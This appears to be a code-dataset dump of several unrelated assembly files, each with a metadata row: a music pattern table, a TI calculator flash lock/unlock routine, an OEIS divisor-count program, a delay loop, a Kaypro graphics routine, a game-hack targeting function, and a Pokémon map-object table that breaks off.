db $50,$00,$53,$00,$57,$00,$5a,$00,$e0
pattern8
db $55,$00,$00,$00,$00,$00,$00,$00,$e0
pattern9
db $4e,$50,$4e,$00,$5c,$5d,$5f,$00,$e0
pattern10
db $5a,$58,$57,$00,$5a,$58,$57,$55,$e0
pattern11
db $55,$00,$58,$00,$5c,$00,$5f,$00,$e0
pattern12
db $02,$00,$00,$00,$00,$00,$00,$00,$e0
pattern13
db $13,$15,$13,$00,$1f,$1f,$1f,$00,$e0
pattern14
db $5a,$00,$02,$00,$00,$00,$00,$00,$e0
pattern15
db $1f,$1d,$1c,$00,$1f,$1d,$1c,$1a,$e0
pattern16
db $57,$00,$5a,$00,$5e,$00,$5f,$00,$e0
pattern17
db $04,$00,$00,$00,$00,$00,$00,$00,$e0
pattern18
db $15,$17,$15,$00,$1f,$1f,$1f,$00,$e0
pattern19
db $5c,$00,$04,$00,$00,$00,$00,$00,$e0
pattern20
db $1f,$1f,$1e,$00,$1f,$1f,$1e,$00,$e0
pattern21
db $46,$00,$49,$00,$4d,$00,$50,$00,$e0
pattern22
db $4d,$00,$50,$00,$54,$00,$55,$00,$e0
pattern23
db $0b,$0d,$0b,$00,$15,$15,$15,$00,$e0
pattern24
db $52,$00,$06,$00,$00,$00,$00,$00,$e0
pattern25
db $15,$15,$14,$00,$15,$15,$14,$00,$e0
pattern26
db $4e,$00,$51,$00,$55,$00,$56,$00,$e0
pattern27
db $53,$00,$07,$00,$00,$00,$00,$00,$e0
pattern28
db $16,$16,$15,$00,$16,$16,$15,$00,$e0
pattern29
db $42,$42,$00,$00,$47,$00,$4c,$00,$e0
pattern30
db $55,$00,$56,$00,$00,$00,$56,$56,$e0
pattern31
db $56,$00,$53,$00,$51,$00,$53,$00,$e0
pattern32
db $53,$00,$53,$00,$53,$00,$53,$00,$e0
pattern33
db $56,$00,$00,$00,$00,$00,$00,$00,$e0
pattern34
db $4a,$00,$00,$00,$00,$00,$00,$00,$e0
pattern35
db $56,$56,$56,$00,$56,$56,$56,$55,$e0
pattern36
db $57,$37,$00,$00,$2e,$2e,$00,$00,$e0
pattern37
db $30,$04,$00,$00,$00,$00,$00,$00,$e0
pattern38
db $03,$04,$05,$06,$07,$08,$09,$0a,$e0
pattern39
db $2b,$00,$00,$00,$00,$00,$00,$00,$e0
pattern40
db $42,$42,$00,$00,$00,$00,$00,$00,$e0
pattern41
db $44,$24,$00,$00,$00,$00,$00,$00,$e0
pattern42
db $23,$24,$25,$26,$27,$28,$29,$2a,$e0
pattern43
db $29,$29,$09,$00,$09,$0a,$0b,$0c,$e0
pattern44
db $2c,$2c,$0c,$00,$00,$00,$00,$4c,$e0
pattern45
db $0a,$00,$00,$00,$00,$00,$00,$4a,$e0
pattern46
db $49,$00,$00,$00,$00,$00,$00,$49,$e0
pattern47
db $35,$35,$15,$00,$00,$00,$00,$55,$e0
pattern48
db $58,$00,$00,$00,$00,$00,$00,$00,$e0
pattern49
db $00,$2b,$2b,$0b,$00,$00,$0b,$0c,$e0
pattern50
db $0d,$2e,$2e,$0e,$00,$2e,$2e,$00,$e0
pattern51
db $4e,$0c,$00,$00,$00,$00,$00,$00,$e0
pattern52
db $4c,$0b,$00,$00,$00,$00,$00,$4b,$e0
pattern53
db $0b,$00,$00,$00,$00,$00,$00,$4b,$e0
pattern54
db $0e,$00,$00,$00,$00,$00,$00,$4e,$e0
pattern55
db $0c,$00,$00,$00,$00,$00,$00,$4c,$e0
pattern56
db $0b,$00,$00,$00,$00,$00,$00,$00,$e0
pattern57
db $35,$33,$15,$00,$00,$00,$00,$55,$e0
pattern58
db $5d,$00,$00,$00,$00,$00,$5f,$5d,$e0
pattern59
db $01,$00,$00,$00,$00,$00,$00,$00,$e0
pattern60
db $05,$00,$00,$00,$00,$00,$00,$00,$e0
pattern61
db $07,$00,$00,$00,$00,$00,$00,$00,$e0
pattern62
db $5d,$00,$00,$00,$00,$00,$00,$00,$e0
pattern63
db $15,$00,$00,$00,$00,$00,$00,$00,$e0
pattern64
db $00,$00,$00,$00,$11,$10,$0f,$0c,$e0
pattern65
db $0b,$0a,$07,$06,$05,$00,$00,$00,$e0
pattern66
db $10,$00,$00,$00,$01,$00,$00,$00,$e0
pattern67
db $00,$00,$47,$00,$4a,$00,$4e,$00,$e0
pattern68
db $51,$00,$00,$00,$00,$00,$00,$00,$e0
pattern69
db $00,$00,$47,$00,$4e,$00,$4f,$00,$e0
pattern70
db $4e,$00,$4c,$00,$4a,$00,$4c,$00,$e0
pattern71
db $47,$00,$00,$00,$00,$00,$00,$00,$e0
pattern72
db $51,$53,$55,$00,$53,$55,$56,$00,$e0
pattern73
db $55,$56,$55,$00,$55,$53,$55,$53,$e0
pattern74
db $00,$00,$49,$00,$4c,$00,$50,$00,$e0
pattern75
db $00,$00,$49,$00,$50,$00,$51,$00,$e0
pattern76
db $50,$00,$4e,$00,$4c,$00,$4e,$00,$e0
pattern77
db $49,$00,$00,$00,$00,$00,$00,$00,$e0
pattern78
db $53,$55,$57,$00,$55,$57,$58,$00,$e0
pattern79
db $57,$58,$57,$00,$57,$55,$57,$55,$e0
pattern80
db $02,$00,$0e,$00,$11,$00,$15,$00,$e0
pattern81
db $18,$00,$02,$00,$00,$00,$00,$00,$e0
pattern82
db $00,$00,$0e,$00,$15,$00,$16,$00,$e0
pattern83
db $55,$00,$53,$00,$51,$00,$53,$00,$e0
pattern84
db $4e,$00,$00,$00,$00,$00,$00,$00,$e0
pattern85
db $58,$5a,$5c,$00,$5a,$5c,$5d,$00,$e0
pattern86
db $00,$00,$4e,$00,$51,$00,$55,$00,$e0
pattern87
db $00,$00,$4e,$00,$55,$00,$56,$00,$e0
pattern88
db $5c,$5d,$5c,$00,$5c,$5a,$5c,$5a,$e0
pattern89
db $04,$00,$10,$00,$13,$00,$17,$00,$e0
pattern90
db $1a,$00,$04,$00,$00,$00,$00,$00,$e0
pattern91
db $00,$00,$10,$00,$17,$00,$18,$00,$e0
pattern92
db $57,$00,$55,$00,$53,$00,$55,$00,$e0
pattern93
db $50,$00,$00,$00,$00,$00,$00,$00,$e0
pattern94
db $5a,$5c,$5e,$00,$5c,$5e,$5f,$00,$e0
pattern95
db $00,$00,$50,$00,$53,$00,$57,$00,$e0
pattern96
db $5a,$00,$00,$00,$00,$00,$00,$00,$e0
pattern97
db $00,$00,$50,$00,$57,$00,$58,$00,$e0
pattern98
db $5e,$5f,$5e,$00,$5e,$5c,$5e,$00,$e0
pattern99
db $02,$00,$06,$00,$09,$00,$0d,$00,$e0
pattern100
db $10,$00,$02,$00,$00,$00,$00,$00,$e0
pattern101
db $00,$00,$06,$00,$0d,$00,$0e,$00,$e0
pattern102
db $4d,$00,$4b,$00,$49,$00,$4b,$00,$e0
pattern103
db $46,$00,$00,$00,$00,$00,$00,$00,$e0
pattern104
db $50,$52,$54,$00,$52,$54,$55,$00,$e0
pattern105
db $00,$00,$46,$00,$49,$00,$4d,$00,$e0
pattern106
db $00,$00,$46,$00,$4d,$00,$4e,$00,$e0
pattern107
db $54,$55,$54,$00,$54,$52,$54,$00,$e0
pattern108
db $55,$56,$55,$00,$55,$53,$55,$00,$e0
pattern109
db $02,$00,$00,$00,$0e,$00,$00,$00,$e0
pattern110
db $04,$00,$00,$00,$0e,$00,$00,$00,$e0
pattern111
db $04,$00,$00,$00,$10,$00,$00,$00,$e0
pattern112
db $13,$00,$11,$00,$0e,$00,$00,$00,$e0
pattern113
db $02,$00,$00,$00,$03,$04,$05,$06,$e0
pattern114
db $05,$00,$00,$00,$00,$00,$00,$01,$e0
pattern115
db $03,$00,$00,$00,$00,$00,$00,$01,$e0
pattern116
db $02,$00,$00,$00,$00,$00,$00,$01,$e0
pattern117
db $0e,$00,$00,$00,$00,$00,$00,$00,$e0
pattern118
db $11,$00,$00,$00,$00,$00,$00,$00,$e0
pattern119
db $0f,$00,$00,$00,$00,$00,$00,$00,$e0
pattern120
db $04,$00,$00,$00,$00,$00,$05,$06,$e0
pattern121
db $04,$00,$00,$00,$00,$00,$15,$16,$e0
pattern122
db $17,$00,$00,$00,$00,$00,$18,$17,$e0
pattern123
db $0f,$11,$00,$00,$00,$00,$13,$11,$e0
pattern124
db $04,$00,$00,$00,$00,$00,$00,$01,$e0
pattern125
db $0e,$0c,$0e,$00,$00,$00,$16,$17,$e0
pattern126
db $18,$00,$00,$00,$00,$00,$1a,$18,$e0
pattern127
db $16,$00,$00,$00,$00,$00,$18,$16,$e0
pattern128
db $29,$00,$00,$00,$00,$00,$00,$00,$e0
pattern129
db $2e,$00,$00,$00,$00,$00,$00,$00,$e0
pattern130
db $35,$00,$00,$00,$00,$00,$00,$00,$e0
pattern131
db $15,$09,$00,$00,$35,$09,$00,$00,$e0
pattern132
db $15,$09,$00,$00,$15,$09,$00,$00,$e0
pattern133
db $00,$09,$00,$00,$15,$09,$00,$00,$e0
pattern134
db $3a,$00,$3c,$00,$00,$00,$00,$00,$e0
pattern135
db $3c,$00,$3d,$00,$00,$00,$00,$00,$e0
pattern136
db $09,$00,$00,$00,$00,$00,$00,$00,$e0
pattern137
db $1c,$00,$00,$00,$00,$00,$00,$00,$e0
pattern138
db $55,$49,$00,$00,$55,$49,$00,$00,$e0
pattern139
db $15,$13,$10,$11,$15,$13,$10,$11,$e0
pattern140
db $00,$00,$47,$00,$00,$00,$4c,$00,$e0
pattern141
db $55,$00,$58,$00,$00,$00,$5a,$58,$e0
pattern142
db $33,$00,$00,$00,$00,$00,$33,$00,$e0
pattern143
db $38,$00,$00,$00,$00,$00,$00,$00,$e0
pattern144
db $2a,$00,$00,$00,$00,$00,$00,$00,$e0
pattern145
db $35,$36,$38,$00,$38,$3a,$3b,$00,$e0
pattern146
db $47,$00,$00,$00,$47,$00,$4c,$00,$e0
pattern147
db $33,$00,$00,$00,$33,$00,$33,$33,$e0
pattern148
db $3a,$38,$3a,$00,$3a,$38,$36,$35,$e0
pattern149
db $00,$00,$00,$00,$49,$00,$4e,$00,$e0
pattern150
db $57,$00,$5a,$00,$00,$00,$5c,$5a,$e0
pattern151
db $58,$00,$55,$00,$53,$00,$55,$00,$e0
pattern152
db $35,$00,$35,$00,$00,$00,$35,$00,$e0
pattern153
db $3a,$00,$00,$00,$00,$00,$00,$00,$e0
pattern154
db $2c,$00,$00,$00,$00,$00,$00,$00,$e0
pattern155
db $37,$38,$3a,$00,$3a,$3c,$3d,$00,$e0
pattern156
db $49,$00,$00,$00,$49,$00,$4e,$00,$e0
pattern157
db $35,$38,$3c,$3f,$33,$37,$3a,$3d,$e0
pattern158
db $3c,$3a,$3c,$00,$3c,$3a,$38,$37,$e0
pattern159
db $00,$00,$00,$00,$4e,$00,$53,$00,$e0
pattern160
db $5c,$00,$5f,$00,$00,$00,$5f,$5f,$e0
pattern161
db $5d,$00,$5a,$00,$58,$00,$5a,$00,$e0
pattern162
db $3a,$00,$3a,$00,$3a,$00,$3a,$00,$e0
pattern163
db $3f,$00,$00,$00,$00,$00,$00,$00,$e0
pattern164
db $31,$00,$00,$00,$00,$00,$00,$00,$e0
pattern165
db $3c,$3d,$3f,$00,$3f,$3f,$3f,$00,$e0
pattern166
db $4e,$00,$00,$00,$4e,$00,$53,$00,$e0
pattern167
db $3f,$3f,$3f,$00,$3f,$3f,$3d,$3c,$e0
pattern168
db $00,$00,$00,$00,$50,$00,$55,$00,$e0
pattern169
db $5e,$00,$5f,$00,$00,$00,$5f,$5f,$e0
pattern170
db $5f,$00,$5c,$00,$5a,$00,$5c,$00,$e0
pattern171
db $3c,$00,$3c,$00,$3c,$00,$3c,$00,$e0
pattern172
db $33,$00,$00,$00,$00,$00,$00,$00,$e0
pattern173
db $3e,$3f,$3f,$00,$3f,$3f,$3f,$00,$e0
pattern174
db $50,$00,$00,$00,$50,$00,$55,$00,$e0
pattern175
db $3f,$3f,$3f,$00,$3f,$3f,$3f,$3e,$e0
pattern176
db $51,$00,$00,$00,$46,$00,$4b,$00,$e0
pattern177
db $54,$00,$55,$00,$00,$00,$55,$55,$e0
pattern178
db $55,$00,$52,$00,$50,$00,$52,$00,$e0
pattern179
db $32,$00,$32,$00,$32,$00,$32,$00,$e0
pattern180
db $34,$35,$35,$00,$35,$35,$35,$00,$e0
pattern181
db $46,$00,$00,$00,$46,$00,$4b,$00,$e0
pattern182
db $35,$35,$35,$00,$35,$35,$35,$34,$e0
pattern183
db $00,$00,$00,$00,$46,$00,$4b,$00,$e0
pattern184
db $07,$00,$00,$00,$07,$00,$0c,$00,$e0
pattern185
db $15,$00,$16,$00,$00,$00,$16,$16,$e0
pattern186
db $16,$00,$13,$00,$11,$00,$13,$00,$e0
pattern187
db $33,$00,$33,$00,$33,$00,$33,$00,$e0
pattern188
db $36,$00,$00,$00,$00,$00,$00,$00,$e0
pattern189
db $36,$36,$36,$00,$36,$36,$36,$35,$e0
pattern190
db $0e,$01,$0e,$01,$0e,$00,$02,$00,$e0
pattern191
db $0e,$00,$02,$00,$0e,$00,$02,$00,$e0
pattern192
db $02,$00,$0e,$00,$02,$00,$0e,$00,$e0
pattern193
db $10,$01,$10,$01,$10,$00,$04,$00,$e0
pattern194
db $10,$00,$04,$00,$10,$00,$04,$00,$e0
pattern195
db $04,$00,$10,$00,$04,$00,$10,$00,$e0
pattern196
db $00,$00,$00,$00,$3a,$00,$30,$00,$e0
pattern197
db $22,$00,$2e,$00,$22,$2e,$00,$38,$e0
pattern198
db $25,$31,$00,$3d,$25,$31,$00,$3b,$e0
pattern199
db $23,$2f,$00,$3b,$23,$2f,$00,$39,$e0
pattern200
db $22,$2e,$00,$3a,$22,$2e,$00,$38,$e0
pattern201
db $24,$30,$3c,$30,$24,$30,$3a,$30,$e0
pattern202
db $27,$33,$3f,$33,$27,$33,$3d,$33,$e0
pattern203
db $25,$31,$3d,$31,$25,$31,$3b,$31,$e0
pattern204
db $30,$00,$00,$00,$00,$00,$00,$00,$e0
pattern205
db $35,$3f,$3c,$3d,$15,$3f,$3c,$3d,$e0
pattern206
db $35,$3f,$3c,$3d,$35,$3f,$3c,$3d,$e0
pattern207
db $00,$00,$00,$00,$00,$39,$38,$37,$e0
pattern208
db $36,$35,$33,$30,$31,$35,$33,$30,$e0
pattern209
db $31,$35,$33,$30,$31,$35,$33,$30,$e0
pattern210
db $15,$1f,$1c,$1d,$15,$1f,$1c,$1d,$e0
pattern211
db $15,$1f,$1c,$00,$1c,$1f,$1c,$1d,$e0
pattern212
db $1c,$1f,$1c,$1d,$1c,$1f,$1c,$1d,$e0
pattern213
db $35,$3f,$3c,$31,$35,$3f,$3c,$31,$e0
pattern214
db $15,$13,$11,$00,$00,$00,$00,$00,$e0
pattern215
db $27,$00,$27,$00,$27,$00,$27,$00,$e0
pattern216
db $3d,$38,$33,$38,$3d,$38,$33,$38,$e0
pattern217
db $2f,$00,$00,$00,$2e,$00,$2c,$00,$e0
pattern218
db $29,$2a,$2c,$00,$2c,$2e,$2f,$00,$e0
pattern219
db $2e,$2c,$2e,$00,$2e,$2c,$2a,$29,$e0
pattern220
db $35,$00,$35,$00,$35,$00,$35,$00,$e0
pattern221
db $29,$00,$29,$00,$29,$00,$29,$00,$e0
pattern222
db $3f,$3a,$35,$3a,$3f,$3a,$35,$3a,$e0
pattern223
db $3c,$00,$00,$00,$00,$00,$00,$00,$e0
pattern224
db $31,$00,$00,$00,$30,$00,$2e,$00,$e0
pattern225
db $2b,$2c,$2e,$00,$2e,$30,$31,$00,$e0
pattern226
db $2e,$31,$35,$38,$2e,$31,$35,$38,$e0
pattern227
db $30,$2e,$30,$00,$30,$2e,$2c,$2b,$e0
pattern228
db $2e,$00,$2e,$00,$2e,$00,$2e,$00,$e0
pattern229
db $3f,$3f,$3a,$3f,$3f,$3f,$3a,$3f,$e0
pattern230
db $36,$00,$00,$00,$35,$00,$33,$00,$e0
pattern231
db $30,$31,$33,$00,$33,$35,$36,$00,$e0
pattern232
db $35,$33,$35,$00,$35,$33,$31,$30,$e0
pattern233
db $30,$00,$30,$00,$30,$00,$30,$00,$e0
pattern234
db $3f,$3f,$3c,$3f,$3f,$3f,$3c,$3f,$e0
pattern235
db $37,$00,$00,$00,$00,$00,$00,$00,$e0
pattern236
db $38,$00,$00,$00,$37,$00,$35,$00,$e0
pattern237
db $32,$33,$35,$00,$35,$37,$38,$00,$e0
pattern238
db $37,$35,$37,$00,$37,$35,$33,$32,$e0
pattern239
db $26,$00,$26,$00,$26,$00,$26,$00,$e0
pattern240
db $35,$35,$32,$35,$35,$35,$32,$35,$e0
pattern241
db $2d,$00,$00,$00,$00,$00,$00,$00,$e0
pattern242
db $2e,$00,$00,$00,$2d,$00,$2b,$00,$e0
pattern243
db $28,$29,$2b,$00,$2b,$2d,$2e,$00,$e0
pattern244
db $2d,$2b,$2d,$00,$2d,$2b,$29,$28,$e0
pattern245
db $3f,$00,$3a,$00,$36,$00,$33,$00,$e0
pattern246
db $36,$36,$33,$36,$36,$36,$33,$36,$e0
pattern247
db $5f,$00,$5a,$00,$58,$00,$56,$00,$e0
pattern248
db $5d,$00,$5a,$00,$56,$00,$53,$00,$e0
pattern249
db $5a,$00,$56,$00,$53,$00,$4e,$00,$e0
pattern250
db $3a,$00,$35,$00,$31,$00,$35,$00,$e0
pattern251
db $3d,$00,$35,$00,$31,$00,$35,$00,$e0
pattern252
db $3b,$00,$35,$00,$31,$00,$35,$00,$e0
pattern253
db $3c,$00,$37,$00,$33,$00,$37,$00,$e0
pattern254
db $3f,$00,$37,$00,$33,$00,$37,$00,$e0
pattern255
db $3d,$00,$37,$00,$33,$00,$37,$00,$e0
pattern256
db $3d,$01,$37,$01,$33,$01,$37,$01,$e0
pattern257
db $3c,$01,$37,$01,$53,$53,$57,$57,$e0
pattern258
db $55,$53,$50,$51,$55,$53,$50,$51,$e0
pattern259
db $35,$33,$30,$31,$35,$33,$30,$31,$e0
pattern260
db $1a,$18,$15,$16,$1a,$18,$15,$16,$e0
| 19.155772 | 40 | 0.649459 |
51d9c14107dfc5781726985f66d9013a35af6c1f | 1,056 | asm | Assembly | src/flash.asm | beckadamtheinventor/BOSshell5 | 04b2b4bdb6d9b415dd5e9c7fbfa3218dc4571400 | [
"BSD-3-Clause"
] | 2 | 2019-09-25T04:28:00.000Z | 2019-09-26T00:46:40.000Z | src/flash.asm | beckadamtheinventor/BOSshell5 | 04b2b4bdb6d9b415dd5e9c7fbfa3218dc4571400 | [
"BSD-3-Clause"
] | null | null | null | src/flash.asm | beckadamtheinventor/BOSshell5 | 04b2b4bdb6d9b415dd5e9c7fbfa3218dc4571400 | [
"BSD-3-Clause"
] | null | null | null | ; the os can't do 16 bit relocations... which means we need to copy flash code to ram before running :/
; call this before calling any flash_* functions as necessary
flash_code_copy:
flash_code.copy
ret
relocate flash_code, ti.mpLcdCrsrImage
write_port:
ld de,$C979ED
ld hl,ti.heapBot - 3
ld (hl),de
jp (hl)
read_port:
ld de,$C978ED
ld hl,ti.heapBot - 3
ld (hl),de
jp (hl)
flash_unlock:
ld bc,$24
ld a,$8c
call write_port
ld bc,$06
call read_port
or a,4
call write_port
ld bc,$28
ld a,$4
jp write_port
flash_lock:
ld bc,$28
xor a,a
call write_port
ld bc,$06
call read_port
res 2,a
call write_port
ld bc,$24
ld a,$88
jp write_port
assume adl = 1
flash_erase_sector:
ld bc,$f8 ; lol, what a flaw
push bc
jp ti.EraseFlashSector
flash_clear_backup:
ld de,$3c0000 ; backup address
ld hl,$d00001
xor a,a
ld b,a ; write 0
ld (hl),a
inc hl
ld (hl),a
ld a,(de)
or a,a
ret z ; dont clear if done already
call flash_unlock
call ti.WriteFlashByte ; clear old backup
call flash_lock
ret
end relocate
| 15.085714 | 103 | 0.697917 |
d03b9e9905876a5b7439562184d8ecdba33bd2ce | 675 | asm | Assembly | programs/oeis/193/A193432.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/193/A193432.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/193/A193432.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A193432: Number of divisors of n^2 + 1.
; 1,2,2,4,2,4,2,6,4,4,2,4,4,8,2,4,2,8,6,4,2,8,4,8,2,4,2,8,4,4,4,8,6,8,4,4,2,8,6,4,2,6,4,12,4,4,4,16,4,4,4,4,4,8,2,8,2,16,4,4,4,4,4,8,4,4,2,8,8,4,6,4,8,16,2,8,4,8,4,4,4,8,6,16,2,4,4,8,4,8,2,8,4,12,2,4,4,8,8,12,4,4,4,8,4,8,4,12,4,8,2,8,8,8,4,8,2,12,6,8,2,4,8,16,2,8,2,8,8,8,2,4,12,16,2,8,4,8,8,4,4,4,8,12,4,4,2,8,8,8,2,8,4,8,4,8,2,24,4,4,2,8,8,8,4,4,4,8,6,4,2,4,8,16,8,4,2,16,4,8,2,4,10,16,2,8,4,16,4,8,4,16,8,16,4,4,4,8,4,4,8,4,4,16,2,4,2,12,8,4,2,8,8,16,4,8,8,16,6,4,4,4,4,8,2,8,4,8,8,8,2,4,6,16,4,8,2,16,4,10,2,8,16,12,4,4,4,8,4,8
pow $0,2
cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
mov $1,$0
| 96.428571 | 531 | 0.54963 |
f80cdb20235bb8b7d88710e8d846e83a69f4cd8e | 2,600 | asm | Assembly | T2/delay_1seg.asm | cggewehr/Projeto-De-Processadores | a7e0735342b83b3524152060162330423b3672c5 | [
"CC0-1.0"
] | null | null | null | T2/delay_1seg.asm | cggewehr/Projeto-De-Processadores | a7e0735342b83b3524152060162330423b3672c5 | [
"CC0-1.0"
] | null | null | null | T2/delay_1seg.asm | cggewehr/Projeto-De-Processadores | a7e0735342b83b3524152060162330423b3672c5 | [
"CC0-1.0"
] | null | null | null |
.org #0000h
; Contador de 1 em 1 seg
; Frequência do clk = 50 Mhz
; 50 Mhz = 50.000.000 ciclos por seg
; Pra gastar 50 000 000 ciclos
; nao da pra contar tudo em uma tacada so
; vamos utilizar 2 loops
; 0 - 50 000 e 0 - 25 e o corpo do laço gastando 40 ciclos
.code
main:
; reg 0 recebe 0
xor r0, r0, r0, ; registrador utilizado pra ajudar no st (r0 <- 0 )
; seta o SP pra a nova posição
ldh r15, #7fh
ldl r15, #ffh ; carrega o sp para a nova posição
ldsp r15 ; novo sp
ldh r1, #80h
ldl r1, #00h ; carrega no r1 o endereço do disp
; primeira coisa a mostrar no disp
xor r10, r10, r10 ; r10 <- 0
st r10, r0, r1 ; comeca a contagem (disp <- 0 )
um_seg:
jsrd #contagem
jsrd #resolve_delay
addi r10, #1 ; incrementa o display
st r10, r0, r1 ; Mostra a contagem
jmpd #um_seg
halt ; nunca chega
; Primeira SUBROTINA, realiza um delay de 50 000 000 ciclos
contagem:
push r0
push r1
push r2
ldh r1, #c3h
ldl r1, #00h ; inicializa o primeiro contador (r1 <- 50 000)
ldh r2, #00h
ldl r2, #2fh ; inicializa o segundo contador (r2 <- 47)
; Primeiro laço de repetição 0 - 50 000
loop_1:
subi r1, #1 ; decremento de r1 ( r1 <= r1 -1)
nop
nop
nop
jmpzd #loop_2 ; Pula para o segundo loop
jmpd #loop_1 ; Realiza mais uma iteração
; Segundo laço de repetição 0 - 47
loop_2:
subi r2, #1 ; decremento de r2 ( r2 <= r2 -1)
jmpzd #fim ; finaliza o programa com um delay de 1 seg
ldh r1, #c3h
ldl r1, #00h ; Reinicializa o primeiro contador (r1 <- 50 000)
jmpd #loop_1 ; retoma o primeiro laço
fim:
pop r2
pop r1
pop r0
rts ; retorna a subrotina
; Loop para tratar o delay, repete 8467 vezes
resolve_delay:
push r0
ldh r0, #21h
ldl r0, #13h
loop_resolve_delay:
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop ;86 ciclos de delay
subi r0, #1
jmpzd #fim_resolve
jmpd #loop_resolve_delay
fim_resolve:
pop r0
rts
.endcode | 21.138211 | 80 | 0.506154 |
e683089cfc907e802fe69831a403b39bd513c7dc | 1,242 | asm | Assembly | libsrc/target/kaypro83/respixl.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/kaypro83/respixl.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/kaypro83/respixl.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; Kaypro ('83 versions) pseudo graphics routines
; Version for the standard text symbols
;
; Stefano Bodrato 2018
;
;
; Reset pixel at (x,y) coordinate.
;
;
;
SECTION code_graphics
PUBLIC respixel
EXTERN plot_end
EXTERN plot_decode
EXTERN generic_console_printc
EXTERN GRAPHICS_CHAR_UNSET
EXTERN __kayproii_gfxmode
EXTERN CONSOLE_ROWS
EXTERN CONSOLE_COLUMNS
.respixel
ld a,h
cp CONSOLE_COLUMNS
ret nc
ld a,(__kayproii_gfxmode)
and a
jr z,res_one
; Plotting with funny characters
ld a,l
cp CONSOLE_ROWS * 2
ret nc
push bc
call plot_decode
jr c,odd
and $FE
jr even
.odd
and $FD
.even
jp plot_end
res_one:
ld a,l
cp CONSOLE_ROWS
ret nc
push bc ;save entry bc
ld c,h
ld b,l
ld a,GRAPHICS_CHAR_UNSET
ld d,a
ld e,1 ;raw mode
call generic_console_printc
pop bc
ret
| 20.032258 | 54 | 0.482287 |
49464d53fbe497156d067efd2baa890efdf2e550 | 471 | asm | Assembly | Engine Hacks/Entrap/Entrap_Target_Func.asm | sme23/Christmas2 | f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79 | [
"CC0-1.0"
] | null | null | null | Engine Hacks/Entrap/Entrap_Target_Func.asm | sme23/Christmas2 | f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79 | [
"CC0-1.0"
] | null | null | null | Engine Hacks/Entrap/Entrap_Target_Func.asm | sme23/Christmas2 | f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79 | [
"CC0-1.0"
] | null | null | null | .thumb
.org 0x0
@Entrap_Target_Func
push {r14}
ldr r1,TargeterPtr
str r0,[r1] @stores current character's data ptr
ldr r0,Clear_Map_Func
mov r14,r0
ldr r0,RangeMap
ldr r0,[r0]
mov r1,#0x0
.short 0xF800
ldr r0,Fill_Range_Map_Func
mov r14,r0
ldr r0,Entrap_Target_Check
.short 0xF800
pop {r0}
bx r0
.align
TargeterPtr:
.long 0x02033F3C
Clear_Map_Func:
.long 0x080197E4
RangeMap:
.long 0x0202E4E4
Fill_Range_Map_Func:
.long 0x0802506C
Entrap_Target_Check:
@
| 14.272727 | 51 | 0.770701 |
627234f86af3d6e0edefb0ca3795a03b3a097f52 | 149 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_msgdt_g.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_msgdt_g.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_msgdt_g.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: ys_msgdt_g.asm
Type: file
Size: 213460
Last-Modified: '2016-05-13T04:51:15Z'
SHA-1: 31E91244D249B863BA4D9D03B7F30A7A000CB552
Description: null
| 21.285714 | 47 | 0.818792 |
3f460901de952c86c4bc8dd2a2de5413ada02f4c | 854 | asm | Assembly | data/mapObjects/Route13.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | data/mapObjects/Route13.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | data/mapObjects/Route13.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | Route13_Object:
db $43 ; border block
db 0 ; warps
db 3 ; signs
sign 15, 13, 11 ; Route13Text11
sign 33, 5, 12 ; Route13Text12
sign 31, 11, 13 ; Route13Text13
db 10 ; objects
object SPRITE_BLACK_HAIR_BOY_1, 49, 10, STAY, RIGHT, 1, OPP_BIRD_KEEPER, 1
object SPRITE_LASS, 48, 10, STAY, DOWN, 2, OPP_JR_TRAINER_F, 12
object SPRITE_LASS, 27, 9, STAY, DOWN, 3, OPP_JR_TRAINER_F, 13
object SPRITE_LASS, 23, 10, STAY, LEFT, 4, OPP_JR_TRAINER_F, 14
object SPRITE_LASS, 50, 5, STAY, DOWN, 5, OPP_JR_TRAINER_F, 15
object SPRITE_BLACK_HAIR_BOY_1, 12, 4, STAY, RIGHT, 6, OPP_BIRD_KEEPER, 2
